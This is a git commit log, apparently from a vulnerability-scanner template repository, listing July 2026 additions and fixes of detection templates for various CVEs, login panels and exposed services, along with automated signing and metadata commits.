Add template for CVE-2026-56290 unauthenticated file upload detection
2026-07-21 18:22:42 +05:30
ghost 8dd28f475f chore: generate new addition list 🤖 2026-07-21 11:16:21 +00:00
ghost b56ba315dc chore: sign templates 🤖 2026-07-21 11:15:39 +00:00
pussycat0x 578d5d691a Merge pull request #16617 from projectdiscovery/Akokonunes-patch-7
Create 9router-default-login.yaml
2026-07-21 16:45:16 +05:30
ghost 2528361125 chore: generate new addition list 🤖 2026-07-21 10:14:26 +00:00
ghost eba813853b chore: sign templates 🤖 2026-07-21 10:13:39 +00:00
Dhiyaneshwaran 842c064c78 Merge pull request #16608 from Th3l0newolf/Deskpro-OPC
Add Deskpro On-Premise Controller default page detection
2026-07-21 15:43:18 +05:30
Dhiyaneshwaran 36bd0d74a5 Rename deskpro-on-premise-controller-panel-default-page.yaml to deskpro-on-default-page.yaml 2026-07-21 15:35:38 +05:30
Dhiyaneshwaran cc18c3fa9b Update deskpro-on-premise-controller-panel-default-page.yaml 2026-07-21 15:35:16 +05:30
Dhiyaneshwaran 5931ac277c Update CVE-2023-34992 YAML with detailed info 2026-07-21 15:18:15 +05:30
Dhiyaneshwaran c4da04fbde Update author field for CVE-2024-23108 2026-07-21 15:13:57 +05:30
pussycat0x a2e1d17dc7 Update deskpro-on-premise-controller-panel-default-page.yaml 2026-07-21 14:44:51 +05:30
Aman Rawat 8e303bbee3 Update directory-listing-no-host-header.yaml 2026-07-21 11:05:42 +05:30
ghost 47b5b37845 chore: generate new addition list 🤖 2026-07-21 05:35:20 +00:00
ghost dcf7110b27 chore: generate new addition list 🤖 2026-07-21 05:35:12 +00:00
ghost f80bc11d4d chore: sign templates 🤖 2026-07-21 05:34:36 +00:00
Aman Rawat cd8e02ff3c Merge pull request #16615 from projectdiscovery/CVE-2026-52824
CVE-2026-52824 - Kimai <= 2.57.0 - Default APP_SECRET Authentication Bypass
2026-07-21 11:04:17 +05:30
Aman Rawat 1516b96c58 Merge pull request #16609 from Aryu-RU/add-cve-2026-1980
Add CVE-2026-1980 - WPBookit <= 1.0.8 - Unauthenticated Customer Information Disclosure
2026-07-21 11:04:06 +05:30
Roberto Nunes eb69a3bcbb Clarify security risk in default login description
Updated the description to clarify the security risk associated with default credentials.
2026-07-21 14:12:02 +09:00
Roberto Nunes 740e611f2d Create 9router-default-login.yaml 2026-07-21 14:03:11 +09:00
orbisai0security 65b6fd477c fix: generic.secrets.security.detected-aws-access-key-id-value.detected-aws-access-key-id-value security vulnerability
Automated security fix generated by OrbisAI Security
2026-07-21 04:22:43 +00:00
ghost 90e6fb6f33 chore: generate new addition list 🤖 2026-07-21 04:19:18 +00:00
ghost 0ac024a418 chore: generate CVEs metadata 🤖 2026-07-21 04:18:29 +00:00
Roberto Nunes 19695cb71e Merge pull request #16599 from SmigsDeLaMigs/cve-2026-15094
CVE-2026-15094 - WP Hotel Booking <= 2.3.2 - Reflected Cross-Site Scr…
2026-07-21 13:18:10 +09:00
ghost a5f5258f5f chore: update KEV and vKEV tags and metadata 🤖 2026-07-21 04:04:36 +00:00
ghost 1bcc5eda27 chore: generate new addition list 🤖 2026-07-21 04:01:38 +00:00
ghost 4cf69bad7a chore: sign templates 🤖 2026-07-21 04:01:23 +00:00
Roberto Nunes a4329400d4 Merge pull request #16592 from daffainfo/patch-796106
Rename smb-default-creds to smb-default-login
2026-07-21 13:01:04 +09:00
ghost 48f40e874c chore: sign templates 🤖 2026-07-21 04:00:51 +00:00
ghost 767b97cdb9 chore: generate CVEs metadata 🤖 2026-07-21 04:00:47 +00:00
Roberto Nunes 7b9b4cb79d Merge pull request #16610 from projectdiscovery/CVE-2026-46442
CVE-2026-46442 - Flowise < 3.1.2 - node-custom-function Unauthorized RCE
2026-07-21 13:00:31 +09:00
ghost df6065226b chore: generate new addition list 🤖 2026-07-21 04:00:21 +00:00
ghost f59ca17b5d chore: sign templates 🤖 2026-07-21 03:59:43 +00:00
ghost 09f4940688 chore: generate CVEs metadata 🤖 2026-07-21 03:59:35 +00:00
Roberto Nunes 6353f22356 Merge pull request #16606 from projectdiscovery/CVE-2026-54836
CVE-2026-54836 - YMC Filter - SQL Injection
2026-07-21 12:59:16 +09:00
Roberto Nunes 0241bcdb06 Update CVE-2026-1980.yaml 2026-07-21 12:55:05 +09:00
Roberto Nunes 1fe22abcf0 Update CVE-2026-1980.yaml 2026-07-21 12:48:29 +09:00
ghost e25330ed8c chore: update EPSS scores 🤖 2026-07-21 03:00:38 +00:00
Roberto Nunes f6302af90c Update CVE-2026-56290.yaml 2026-07-21 11:43:23 +09:00
Dhiyaneshwaran 570c4232d2 CVE-2026-52824 - Kimai <= 2.57.0 - Default APP_SECRET Authentication Bypass 2026-07-20 22:16:25 +05:30
ghost 2935d63aeb chore: sign templates 🤖 2026-07-20 15:33:39 +00:00
pussycat0x c419912f87 Merge pull request #16575 from sec-mlot/patch-3
fix: unauthenticated-jenkins matcher covers both title variants
2026-07-20 21:03:14 +05:30
ghost 7fcb6009d0 chore: generate new addition list 🤖 2026-07-20 15:00:28 +00:00
pussycat0x 81db78ddb0 Update unauthenticated-jenkins.yaml 2026-07-20 20:30:17 +05:30
ghost f2c837e0d0 chore: sign templates 🤖 2026-07-20 14:59:40 +00:00
pussycat0x fbe8fad501 Merge pull request #16607 from Th3l0newolf/Deskpro
Deskpro Private Controller default page detection
2026-07-20 20:29:20 +05:30
ghost f9c5f612c9 chore: generate new addition list 🤖 2026-07-20 14:58:19 +00:00
ghost 8f656c25de chore: sign templates 🤖 2026-07-20 14:57:36 +00:00
pussycat0x abcf295049 Merge pull request #16593 from projectdiscovery/sonicwall-panel
SonicWall Secure Mobile Access (SMA) Panel - Detection
2026-07-20 20:27:10 +05:30
ghost 251aa17b77 chore: generate new addition list 🤖 2026-07-20 12:23:26 +00:00
ghost 54b59dd638 chore: sign templates 🤖 2026-07-20 12:22:44 +00:00
Dhiyaneshwaran 34b2b23142 Merge pull request #16438 from hdm/ai-llm-detect-templates
Add AI/LLM inference + MCP server detection templates
2026-07-20 17:52:23 +05:30
Krzysztof Zając ebf2208754 Severity fix 2026-07-20 13:58:18 +02:00
ghost 8667c483a6 chore: generate new addition list 🤖 2026-07-20 09:04:14 +00:00
ghost 990ef1e358 chore: generate CVEs metadata 🤖 2026-07-20 09:03:34 +00:00
Aman Rawat 33c89606a8 Merge pull request #16611 from projectdiscovery/CVE-2026-8732
CVE-2026-8732 - WP Maps Pro (wp-google-map-gold) <= 6.1.0 - Unauthenticated Administrator Account Creation
2026-07-20 14:33:12 +05:30
Dhiyaneshwaran 2a40b5b5a6 CVE-2026-3296 - Everest Forms WordPress Plugin <= 3.4.3 - Unauthenticated PHP Object Injection 2026-07-20 14:18:58 +05:30
Th3l0newolf [ Chinmay Divekar] 3f8a7c4bbb Add Chatwoot Login Panel detection 2026-07-20 01:38:54 -07:00
Ritik Chaddha f10eb8733e updated matchers & added flow 2026-07-20 13:48:03 +05:30
Dhiyaneshwaran 677e9842f4 CVE-2026-8732 - WP Maps Pro (wp-google-map-gold) <= 6.1.0 - Unauthenticated Administrator Account Creation 2026-07-20 13:41:04 +05:30
Dhiyaneshwaran 546acdb800 CVE-2026-46442 - Flowise < 3.1.2 - node-custom-function Unauthorized RCE 2026-07-20 13:10:06 +05:30
Aryu-RU 585fa59913 Add CVE-2026-1980 - WPBookit <= 1.0.8 - Unauthenticated Customer Information Disclosure 2026-07-20 07:13:01 +00:00
ghost 36ad6634de chore: generate new addition list 🤖 2026-07-20 07:12:27 +00:00
ghost df7b9ebe91 chore: sign templates 🤖 2026-07-20 07:11:43 +00:00
Aman Rawat 5f6ee0aa2b Merge pull request #16584 from halilkirazkaya/halilkirazkaya-patch-5
add bizzy panel
2026-07-20 12:41:21 +05:30
Aman Rawat 0cdb3899c7 Update torchserve-detect.yaml 2026-07-20 12:29:36 +05:30
ghost d917db5843 chore: sign templates 🤖 2026-07-20 06:56:09 +00:00
Ritik Chaddha 261ab99403 added co-author 2026-07-20 12:25:49 +05:30
Dhiyaneshwaran 5c06a8c288 Update and rename deskpro-private-controller-panel-default-page.yaml to deskpro-default-page.yaml 2026-07-20 12:24:17 +05:30
Aman Rawat 2e3a25bb29 Update 2026-07-20 12:14:22 +05:30
Aman Rawat a312518c16 Update 2026-07-20 11:50:24 +05:30
Aman Rawat 02c7a068fd Removed duplicate templates 2026-07-20 11:40:58 +05:30
Aman Rawat f7984febf9 Update CVE-2026-42796.yaml 2026-07-20 11:27:41 +05:30
ghost b36c0b3b44 chore: generate new addition list 🤖 2026-07-20 05:49:27 +00:00
ghost 21686c66fc chore: generate CVEs metadata 🤖 2026-07-20 05:48:43 +00:00
Th3l0newolf [ Chinmay Divekar] a7c513fab6 Add Deskpro On-Premise Controller default page detection 2026-07-19 22:48:42 -07:00
ghost 7cbb79a794 chore: sign templates 🤖 2026-07-20 05:48:41 +00:00
Dhiyaneshwaran d820d40050 Merge pull request #16604 from projectdiscovery/Akokonunes-patch-7
Clarify CVE-2026-9282.yaml - W3 Total Cache <= 2.9.4 - Unauthenticated Arbitrary File Read
2026-07-20 11:18:22 +05:30
Th3l0newolf [ Chinmay Divekar] fefde09089 Deskpro Private Controller default page detection
Added detection for Deskpro Private Controller default page.
2026-07-19 22:27:50 -07:00
Aman Rawat 39ea466b93 Create CVE-2026-54836.yaml 2026-07-20 10:56:10 +05:30
Aman Rawat 6a35c5d20c Update CVE-2026-15094.yaml 2026-07-20 10:52:57 +05:30
ghost 59fba5c0f9 chore: sign templates 🤖 2026-07-20 05:19:18 +00:00
Roberto Nunes c0e288a783 Merge pull request #16590 from daffainfo/patch-586159
Enhance CVE-2024-22476 YAML
2026-07-20 14:18:54 +09:00
Dhiyaneshwaran 84c178e0dd Merge branch 'main' into patch-586159 2026-07-20 10:42:37 +05:30
Dhiyaneshwaran 1a7dfb4029 Update bizzy-panel.yaml for login detection 2026-07-20 10:41:18 +05:30
Dhiyaneshwaran 9800425de3 Update bizzy-panel.yaml 2026-07-20 10:35:38 +05:30
ghost 580a208917 chore: sign templates 🤖 2026-07-20 05:02:11 +00:00
Roberto Nunes 494c465903 Merge pull request #16589 from projectdiscovery/flow-preventing-req
prevent creds-stuffing/token-spray templates from sending requests wi…
2026-07-20 14:01:50 +09:00
ghost 2e02d8b531 chore: sign templates 🤖 2026-07-20 05:01:36 +00:00
Roberto Nunes 23f1a41e35 Merge pull request #16551 from zy9ard3/main
wix takeover fingerprint update
2026-07-20 14:01:12 +09:00
Roberto Nunes 919f146645 Clarify CVE-2026-9282 entry name
Updated the CVE entry name for clarity.
2026-07-20 13:19:54 +09:00
ghost d09fb91884 chore: update EPSS scores 🤖 2026-07-20 03:00:20 +00:00
zer0p0int b2ccdb84fa Make zer0p0int contributor profile discoverable
Add the verified GitHub identity while leaving unavailable social fields empty.

Constraint: Only publicly verified profile data is included
Confidence: high
Scope-risk: narrow
Tested: Parsed contributors.json and verified one matching author entry
Not-tested: Repository-wide template validation
2026-07-19 15:56:57 +08:00
ghost 010b0aa4fa chore: update KEV and vKEV tags and metadata 🤖 2026-07-19 04:10:42 +00:00
ghost 0d3624787c chore: update EPSS scores 🤖 2026-07-19 03:00:52 +00:00
SmigsBellamigs 909cd87188 CVE-2026-15094 - WP Hotel Booking <= 2.3.2 - Reflected Cross-Site Scripting via 'check_in_date' Parameter
Nuclei Template for CVE 2026 15094 - The WP Hotel Booking plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'check_in_date' parameter in all versions up to, and including, 2.3.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.
2026-07-18 20:42:10 +01:00
Aman Rawat c33446f92b Update CVE-2026-33497.yaml 2026-07-18 14:12:07 +05:30
Aman Rawat 2b609857e7 Update wix-takeover.yaml 2026-07-18 13:47:35 +05:30
Aman Rawat 6487ee18ca Update unauthenticated-jenkins.yaml 2026-07-18 13:43:58 +05:30
ghost 832b30ce23 chore: generate new addition list 🤖 2026-07-18 08:13:37 +00:00
ghost 1d359d6c74 chore: sign templates 🤖 2026-07-18 08:12:59 +00:00
ghost 0dbaee201f chore: generate CVEs metadata 🤖 2026-07-18 08:12:50 +00:00
Aman Rawat 9de76bc955 Merge pull request #16569 from Nivid42/add-cve-2026-56291
Add CVE-2026-56291: Balbooa Forms < 2.4.1 Unauthenticated File Upload
2026-07-18 13:42:33 +05:30
ghost 9934d99544 chore: update KEV and vKEV tags and metadata 🤖 2026-07-18 04:01:20 +00:00
ghost 7fb33ee70a chore: update EPSS scores 🤖 2026-07-18 03:00:11 +00:00
ghost c100704bda chore: generate new addition list 🤖 2026-07-18 01:44:45 +00:00
ghost 441aebbcf0 chore: generate CVEs metadata 🤖 2026-07-18 01:44:09 +00:00
ghost 6e2ddeee73 chore: sign templates 🤖 2026-07-18 01:44:02 +00:00
Sandeep Singh 9e6cb912c9 Added WordPress Core 6.9-7.0.1 - Pre-Auth Blind SQL Injection (CVE-2026-63030) (#16596) 2026-07-18 07:13:40 +05:30
ghost 3a1f8a1063 chore: generate new addition list 🤖 2026-07-17 14:25:53 +00:00
ghost c346859cc2 chore: sign templates 🤖 2026-07-17 14:25:09 +00:00
Dhiyaneshwaran 95ffb32150 Merge pull request #16588 from Eren-Akdag/fix/open-proxy-portscan-false-positive
fix(open-proxy-portscan): reject HTML bodies to prevent WAF false positives
2026-07-17 19:54:49 +05:30
Dhiyaneshwaran f0a30103a1 CVE-2026-15409 - SonicWall SMA1000 - Unauthenticated SSRF via WebSocket Proxy 2026-07-17 18:57:57 +05:30
Dhiyaneshwaran 08f3a0af5a Update shodan and fofa queries for SonicWall SMA 2026-07-17 18:34:08 +05:30
Dhiyaneshwaran 42e3f39fb8 SonicWall Secure Mobile Access (SMA) Panel - Detection 2026-07-17 18:19:49 +05:30
Muhammad Daffa b9f18fb3fd Rename smb-default-creds to smb-default-login 2026-07-17 17:38:20 +07:00
Muhammad Daffa 435d278c22 Enhance CVE-2024-22476 YAML 2026-07-17 13:45:10 +07:00
Prince Chaddha 9ae718ebfc prevent creds-stuffing/token-spray templates from sending requests without input (#11238) 2026-07-17 10:26:34 +04:00
ghost 2cb2ea94fc chore: generate new addition list 🤖 2026-07-17 04:45:04 +00:00
ghost dc9d751afc chore: sign templates 🤖 2026-07-17 04:44:27 +00:00
ghost 20bd082b10 chore: generate CVEs metadata 🤖 2026-07-17 04:44:21 +00:00
Roberto Nunes 21053487e0 Merge pull request #16578 from m4sh-wacker/patch-3
Add CVE-2026-3891 template for Pix for WooCommerce arbitrary file upload
2026-07-17 13:44:03 +09:00
Roberto Nunes 50f9c83481 Merge pull request #16566 from l46983284-cpu/fix/cve-2026-23550-trailing-slash
fix(CVE-2026-23550): avoid FN on WordPress trailing-slash redirects
2026-07-17 13:43:58 +09:00
ghost 0f30c6aa72 chore: update KEV and vKEV tags and metadata 🤖 2026-07-17 04:02:31 +00:00
ghost fd852e3c3e chore: update EPSS scores 🤖 2026-07-17 03:00:04 +00:00
Roberto Nunes 4b334ee23f Revise CVE-2026-56291 for full exploit template
Updated author, description, impact, and remediation details for CVE-2026-56291. Added variables and modified HTTP request structure.
2026-07-17 11:48:41 +09:00
Eren-Akdag 8e6fd228e2 fix(open-proxy-portscan): reject HTML responses to prevent false positives from WAF/filter block pages
A WAF/content-filter appliance in front of a target can return a generic
HTML block page for the abnormal absolute-URI probe requests used by this
template. If that static page coincidentally contains one of the
differential keywords (e.g. inside an embedded base64 asset), the matcher
fires even though no internal service was actually reached. Reject any
body that looks like an HTML document before accepting a match.
2026-07-17 02:58:45 +03:00
ghost df786fd3bf chore: generate templates stats 🤖 2026-07-16 18:55:49 +00:00
Aryu-RU f6fe15249c Add CVE-2026-42796 Arelle unauthenticated RCE template 2026-07-16 13:53:00 +00:00
halilkirazkaya aa87818989 Fix typo in login URL path 2026-07-16 16:37:55 +03:00
halilkirazkaya 7dd0d0dba6 Add bizzy-panel.yaml for BIZZY login detection 2026-07-16 16:32:17 +03:00
Dhiyaneshwaran d177b8dc0a Update CVE-2026-56291.yaml 2026-07-16 17:47:07 +05:30
Dhiyaneshwaran fef7b96514 Update CVE-2026-3891.yaml with detailed vulnerability info
The CVE-2026-3891.yaml file has been updated to provide a more detailed description of the vulnerability, including the impact and remediation steps. Additionally, the HTTP request steps have been revised for better clarity and functionality.
2026-07-16 17:26:10 +05:30
ghost 7d66fa06cc chore: sign templates 🤖 2026-07-16 10:56:57 +00:00
Roberto Nunes 3b97f2367d Merge pull request #16571 from idealphase/main
Update authors and add another actuator HTTP path
2026-07-16 19:56:38 +09:00
ghost 0d9bdcb7b1 chore: generate new addition list 🤖 2026-07-16 09:57:41 +00:00
ghost eb5c5f332a chore: sign templates 🤖 2026-07-16 09:56:22 +00:00
ghost 8031e3d13e chore: generate CVEs metadata 🤖 2026-07-16 09:56:18 +00:00
Aman Rawat 60304c6c51 Merge pull request #16582 from projectdiscovery/Akokonunes-patch-7
Create CVE-2026-8386.yaml - WP Go Maps < 10.0.10 - Unauthenticated Marker Information Disclosure
2026-07-16 15:25:59 +05:30
Dhiyaneshwaran c51b2c6f7f Add status matcher back to Jolokia YAML file 2026-07-16 15:24:00 +05:30
ghost 4fa6768bf2 chore: generate new addition list 🤖 2026-07-16 09:41:48 +00:00
ghost d692bd22b2 chore: sign templates 🤖 2026-07-16 09:41:03 +00:00
Dhiyaneshwaran ec66477bcf Merge pull request #16570 from rxerium/add-qualys-cloud-platform-login
Add Qualys Cloud Platform login panel
2026-07-16 15:10:42 +05:30
Roberto Nunes 5b4a024e3b Create CVE-2026-8386.yaml 2026-07-16 15:59:45 +09:00
iamatownboy fe3fc9d193 Add CVE-2026-30623 template 2026-07-16 15:56:49 +09:00
Th3l0newolf [ Chinmay Divekar] cd95a969ff Add files via upload 2026-07-15 22:28:59 -07:00
ghost 02c06f6296 chore: update EPSS scores 🤖 2026-07-16 03:00:08 +00:00
Roberto Nunes 2e9703c504 Refactor matchers to use regex for response codes 2026-07-16 11:03:03 +09:00
Cole Munz 1b54de6c44 fix: reduce false negatives in exposed-zookeeper template
The existing check only sends the envi four-letter word command, which is
blocked by default since ZooKeeper 3.5.3 unless explicitly whitelisted, so a
stock server reports not-vulnerable even when fully readable. Add a second
request speaking the ZooKeeper client wire protocol (connect handshake plus a
getChildren call on /) to confirm unauthenticated read access to the znode
tree regardless of the 4lw whitelist.

Closes #11076
2026-07-15 16:10:15 -05:00
Mohammad Hossein Sadeghian c6e538b16d Create CVE-2026-3891.yaml 2026-07-15 23:31:51 +03:30
sec-mlot 249f075d65 fix: unauthenticated-jenkins matcher covers both title variants
In newer versions of Jenkins (e.g. 2.541.1) the dashboard page title changed from Dashboard [Jenkins] to Dashboard - Jenkins, causing the current word matcher to produce false negatives. Updated the matcher to cover both variants.
2026-07-15 14:57:46 +02:00
ghost 6bfef5eb29 chore: generate templates checksum 🤖 2026-07-15 12:24:34 +00:00
ghost f50e489ca4 chore: sign templates 🤖 2026-07-15 12:21:57 +00:00
Aman Rawat 0c920579b2 Merge pull request #16535 from eloydegen/add-dkim-selectors
Add selectors to dkim-record-detect.yaml
2026-07-15 17:51:37 +05:30
ghost 1482f62c61 chore: generate templates checksum 🤖 2026-07-15 07:20:23 +00:00
ghost bc4a19d8ac chore: generate new addition list 🤖 2026-07-15 07:18:21 +00:00
ghost 5e5a4a501f chore: sign templates 🤖 2026-07-15 07:17:40 +00:00
ghost fa5fabec5e chore: generate CVEs metadata 🤖 2026-07-15 07:17:33 +00:00
pussycat0x 643972f954 Merge pull request #16573 from projectdiscovery/Akokonunes-patch-11
Add CVE-2026-59801.yaml - 9Router - Unauthenticated LLM Provider API Exposure
2026-07-15 12:47:17 +05:30
infosec-asish 62ee3f17f4 fix dsl matcher updates 2026-07-15 10:22:29 +05:30
infosec-asish 310fc4c85b fix(langfuse): update health endpoint matcher for strict JSON parsing 2026-07-15 10:13:55 +05:30
infosec-asish 49418cd841 fix(langfuse): update health endpoint matcher for strict JSON parsing 2026-07-15 10:11:03 +05:30
ghost 490586283f chore: generate templates checksum 🤖 2026-07-15 04:34:55 +00:00
ghost bba0a48d37 chore: generate new addition list 🤖 2026-07-15 04:33:01 +00:00
ghost a25b6e94f8 chore: generate CVEs metadata 🤖 2026-07-15 04:32:20 +00:00
ghost e9360e2b2c chore: sign templates 🤖 2026-07-15 04:32:16 +00:00
Dhiyaneshwaran 22880abb8d Merge pull request #16564 from projectdiscovery/Akokonunes-patch-7
Add CVE-2026-46339.yaml - 9Router <= 0.4.36 - Unauthenticated RCE
2026-07-15 10:01:57 +05:30
Roberto Nunes ea54404a47 Add CVE-2026-59801 vulnerability details
CVE-2026-59801 details an unauthenticated access vulnerability in 9Router, allowing remote attackers to manipulate provider connections. It includes remediation steps and references for further information.
2026-07-15 12:11:21 +09:00
ghost 69a5a3cf92 chore: update EPSS scores 🤖 2026-07-15 02:59:53 +00:00
Roberto Nunes 6db58ff1eb Create CVE-2026-52773.yaml 2026-07-15 11:54:24 +09:00
idealphase 0650a529b1 Update authors and add another actuator HTTP path
add actuator
2026-07-14 22:59:43 +07:00
Alex Chen 4de30dc8f3 fix(CVE-2026-23550): request canonical trailing-slash login path
Signed-off-by: Alex Chen <[email protected]>
2026-07-14 18:29:53 +03:00
rxerium 6280a6ff16 Add Qualys Cloud Platform login panel 2026-07-14 16:16:08 +01:00
Nick Vidovic ddc1dc7f71 Add CVE-2026-56291: Balbooa Forms < 2.4.1 Unauthenticated File Upload 2026-07-14 16:04:54 +02:00
Dominique RIGHETTO 18ad3bd18f Add files via upload 2026-07-14 09:46:12 +02:00
ghost a5c2e8e4da chore: generate templates checksum 🤖 2026-07-14 07:10:14 +00:00
ghost bdfed11427 chore: generate new addition list 🤖 2026-07-14 07:08:05 +00:00
ghost 50ad4b7797 chore: sign templates 🤖 2026-07-14 07:08:01 +00:00
Ritik Chaddha eba752ed47 Merge pull request #16541 from niranc/patch-2
Update MinIO default login configuration
2026-07-14 12:37:39 +05:30
ghost 3283b3b59f chore: generate CVEs metadata 🤖 2026-07-14 07:07:31 +00:00
ghost dfe592261a chore: sign templates 🤖 2026-07-14 07:07:24 +00:00
Ritik Chaddha 7daafe491b Merge pull request #16542 from Voorivex/CVE-2026-50229
Add CVE-2026-50229 Apache Tomcat Number Guess XSS template
2026-07-14 12:37:01 +05:30
ghost 2455379e45 chore: update EPSS scores 🤖 2026-07-14 02:59:22 +00:00
Roberto Nunes 40fdc821fb Add CVE-2026-46339 YAML file for unauthenticated RCE 2026-07-14 11:06:01 +09:00
ghost 0a72cc3e64 chore: generate templates checksum 🤖 2026-07-14 00:07:43 +00:00
ghost b71b9f7f37 chore: sign templates 🤖 2026-07-14 00:05:11 +00:00
Roberto Nunes b7f0eae144 Merge pull request #16560 from daffainfo/patch-416616
Rename unauth-cluster-trino to trino-unauth-cluster
2026-07-14 09:04:49 +09:00
pepe d22843ac75 Add CVE-2026-33497 for Langflow path traversal vulnerability 2026-07-13 23:17:20 +03:00
ghost 37142f1283 chore: generate templates checksum 🤖 2026-07-13 19:26:27 +00:00
ghost f181afe63e chore: generate new addition list 🤖 2026-07-13 19:24:27 +00:00
ghost 720028f8ea chore: sign templates 🤖 2026-07-13 19:23:42 +00:00
Aman Rawat 189a7b46ae Merge pull request #16533 from Th3l0newolf/apache-solr
Add Bitnami Apache Solr Stack technology detection
2026-07-14 00:53:21 +05:30
ghost ae78112237 chore: generate templates checksum 🤖 2026-07-13 18:43:14 +00:00
ghost 55c8a83cc5 chore: sign templates 🤖 2026-07-13 18:40:23 +00:00
Ritik Chaddha 7680bc8361 Merge pull request #16545 from mrperfectkarak-svg/patch-5
Update regex for company field in CVE-2026-1731
2026-07-14 00:09:59 +05:30
Ritik Chaddha 451fd59ccb Update CVE-2026-50229.yaml 2026-07-14 00:08:41 +05:30
Ritik Chaddha 163ae69541 Update minio-default-login.yaml 2026-07-14 00:07:29 +05:30
ghost c9661214f7 chore: generate templates checksum 🤖 2026-07-13 18:35:19 +00:00
ghost b39b7ca0ef chore: sign templates 🤖 2026-07-13 18:34:27 +00:00
Ritik Chaddha cc159353e5 Merge pull request #16500 from projectdiscovery/fix-false-positive-nextjs
Update CVE-2024-34351.yaml with new configurations
2026-07-14 00:04:03 +05:30
ghost 7a95972e05 chore: generate new addition list 🤖 2026-07-13 18:33:24 +00:00
ghost db3419f743 chore: generate new addition list 🤖 2026-07-13 18:33:04 +00:00
ghost 9a5d015e7e chore: generate CVEs metadata 🤖 2026-07-13 18:32:49 +00:00
ghost 0ff36c86ea chore: sign templates 🤖 2026-07-13 18:32:44 +00:00
Ritik Chaddha 40083f2f11 Merge pull request #16483 from VixianSchool/feat/cve-2026-3326
feat: add CVE-2026-3326 - XStore Theme < 9.7.3 Unauthenticated SQL Injection
2026-07-14 00:02:21 +05:30
Ritik Chaddha 069e2ce7b7 Merge pull request #16478 from VixianSchool/feat/CVE-2026-24207-triton-sagemaker-auth-bypass
feat: add CVE-2026-24207 - NVIDIA Triton Inference Server SageMaker Auth Bypass / RCE
2026-07-14 00:02:00 +05:30
ghost 4ca2917b0a chore: generate templates checksum 🤖 2026-07-13 18:29:54 +00:00
Ritik Chaddha 7fe7baebb6 Merge branch 'main' into fix-false-positive-nextjs 2026-07-13 23:59:27 +05:30
ghost 084f877bb3 chore: sign templates 🤖 2026-07-13 18:29:01 +00:00
Ritik Chaddha a28aa7e673 Merge pull request #16506 from gnuletik/fix/CVE-2025-29635/invalid-matcher-type
fix(CVE-2025-29635): invalid matcher type
2026-07-13 23:58:41 +05:30
ghost af52428148 chore: sign templates 🤖 2026-07-13 18:27:11 +00:00
Ritik Chaddha 4abc81da73 Merge pull request #16495 from projectdiscovery/added-new-path
Add additional paths to Keycloak admin panel config
2026-07-13 23:56:51 +05:30
Ritik Chaddha 593ba0ec00 Update CVE-2026-3326.yaml 2026-07-13 23:55:31 +05:30
Ritik Chaddha 6daf54039a Update CVE-2026-24207.yaml 2026-07-13 23:54:46 +05:30
ghost e5acc62a50 chore: generate templates checksum 🤖 2026-07-13 16:49:19 +00:00
ghost 90665fcc6e chore: generate new addition list 🤖 2026-07-13 16:48:47 +00:00
ghost 155950626f chore: sign templates 🤖 2026-07-13 16:48:01 +00:00
pussycat0x b47c8edf5a Merge pull request #16300 from Th3l0newolf/SeaweedFS
Add Unauthenticated access to SeaweedFS Filer panel
2026-07-13 22:17:40 +05:30
ghost 0e79c763f7 chore: generate CVEs metadata 🤖 2026-07-13 16:47:00 +00:00
ghost 6db0290f68 chore: sign templates 🤖 2026-07-13 16:46:56 +00:00
pussycat0x ed1501990c Merge pull request #16550 from daffainfo/patch-369864
Modify CVE-2026-50751.yaml with new reference link
2026-07-13 22:16:37 +05:30
ghost b7cb0bbc1b chore: sign templates 🤖 2026-07-13 16:46:30 +00:00
pussycat0x 17a318a80a Merge pull request #16546 from daffainfo/patch-813224
Rename fuji-xerox-internet-service.yaml file
2026-07-13 22:16:05 +05:30
ghost e64485a228 chore: generate templates checksum 🤖 2026-07-13 16:31:41 +00:00
ghost 5ea6bf1c47 chore: generate new addition list 🤖 2026-07-13 16:29:44 +00:00
ghost 5e51a42ccf chore: sign templates 🤖 2026-07-13 16:29:02 +00:00
pussycat0x a6f503cb49 Merge pull request #16359 from Th3l0newolf/Kestra
Add Kestra Login Panel detection
2026-07-13 21:58:37 +05:30
pussycat0x 13d847deba Update CVE-2026-50751.yaml 2026-07-13 21:56:40 +05:30
pussycat0x 9674361ccd Update fuji-xerox-internet-service.yaml 2026-07-13 21:56:11 +05:30
pussycat0x 8c23e98760 Update CVE-2026-55450.yaml 2026-07-13 20:06:26 +05:30
ghost bd13fa15ec chore: generate templates checksum 🤖 2026-07-13 11:35:16 +00:00
ghost 764d2a6378 chore: sign templates 🤖 2026-07-13 11:32:30 +00:00
Dhiyaneshwaran 900b037f8d Merge pull request #16559 from daffainfo/patch-995417
Update name format in echo-detect.yaml
2026-07-13 17:02:10 +05:30
Dhiyaneshwaran 8d9e523e68 Rename bitnami-apache-solr-detect.yaml to bitnami-apache-solr.yaml 2026-07-13 16:58:20 +05:30
Dhiyaneshwaran 4ec5fc92e9 Update Bitnami Apache Solr detection configuration 2026-07-13 16:52:21 +05:30
Dhiyaneshwaran a5777912c2 Update and rename kestra-login-panel.yaml to kestra-panel.yaml 2026-07-13 16:49:22 +05:30
Dhiyaneshwaran cc5aec3069 Rename seaweedfs-filer-panel.yaml to seaweedfs-unauth.yaml 2026-07-13 16:46:30 +05:30
Dhiyaneshwaran db9d7e789a Modify SeaweedFS Filer panel configuration
Updated the SeaweedFS Filer configuration to reflect unauthenticated access and adjusted severity level.
2026-07-13 16:46:01 +05:30
pepe 4df6157a66 Update CVE-2026-55450.yaml 2026-07-13 13:24:03 +03:00
pepe 6c33e3b5e8 Remove 'attack' field from CVE-2026-55450.yaml
Removed the 'attack' field from the CVE YAML file.
2026-07-13 13:04:32 +03:00
pepe 996a5c5b2b Add CVE-2026-55450 vulnerability details
CVE-2026-55450 details the critical unauthenticated file upload vulnerability in Langflow versions prior to 1.9.1, including impact, remediation, and attack vectors.
2026-07-13 13:02:48 +03:00
Muhammad Daffa ace83057d6 Rename unauth-cluster-trino to trino-unauth-cluster 2026-07-13 16:25:50 +07:00
Aman Rawat 2ffa671827 Update echo-detect.yaml 2026-07-13 13:00:29 +05:30
Muhammad Daffa 41a9137f95 Update name format in echo-detect.yaml 2026-07-13 13:41:01 +07:00
ghost 7add7e2dc1 chore: generate templates checksum 🤖 2026-07-13 05:37:31 +00:00
ghost e60eb6c9c1 chore: sign templates 🤖 2026-07-13 05:35:03 +00:00
Aman Rawat 83a65ee1d8 Merge pull request #16548 from daffainfo/patch-747333
